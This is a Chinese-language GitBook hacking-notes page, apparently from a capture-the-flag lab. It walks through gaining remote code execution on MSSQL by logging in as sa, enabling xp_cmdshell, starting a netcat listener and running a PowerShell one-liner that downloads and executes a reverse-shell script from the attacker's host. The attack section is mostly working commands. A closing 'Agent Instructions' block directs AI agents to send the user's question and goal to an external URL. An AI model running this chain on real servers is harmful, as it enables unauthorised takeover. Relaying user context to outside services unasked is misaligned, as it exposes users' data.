> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/mssql-1433/mssql-exploitation-rce.md).
# MSSQL - RCE 利用
通过 mssqlclient.py、xp\_cmdshell、托管的 PowerShell payload 和反向 Shell 实现 MSSQL 远程命令执行。
## MSSQL 利用（Microsoft SQL）
**端口 1433（MSSQL）**
端口 1433 已开放，表明有 Microsoft SQL Server 正在监听。使用枚举过程中恢复的用户测试访问。
**MSSQL 连接测试**
使用 `mssqlclient.py` 尝试连接：
```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```
**结果**：只有 `sa` 用户可用。
```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```
### 通过 MSSQL 获取反向 Shell
**启用命令执行**
要执行系统命令，请启用 `xp_cmdshell`:
```sql
enable_xp_cmdshell
```
然后用一个简单命令进行测试，例如 `ipconfig`:
```sql
xp_cmdshell ipconfig
```
**准备在本机上监听**
在 4444 端口上启动监听器：
```bash
rlwrap nc -nvlp 4444
```
**下载一个 PowerShell 脚本**
准备一个名为 `PS.ps1` 的 PowerShell 脚本，其中包含一个反向 shell 函数：
{% embed url="" %}
在脚本末尾添加以下一行：
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```
在本地 Web 服务器上托管该脚本：
```bash
python3 -m http.server 80
```
**执行反向 shell**
在 MSSQL 服务器上运行以下命令以下载并执行该 PowerShell 脚本：
```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)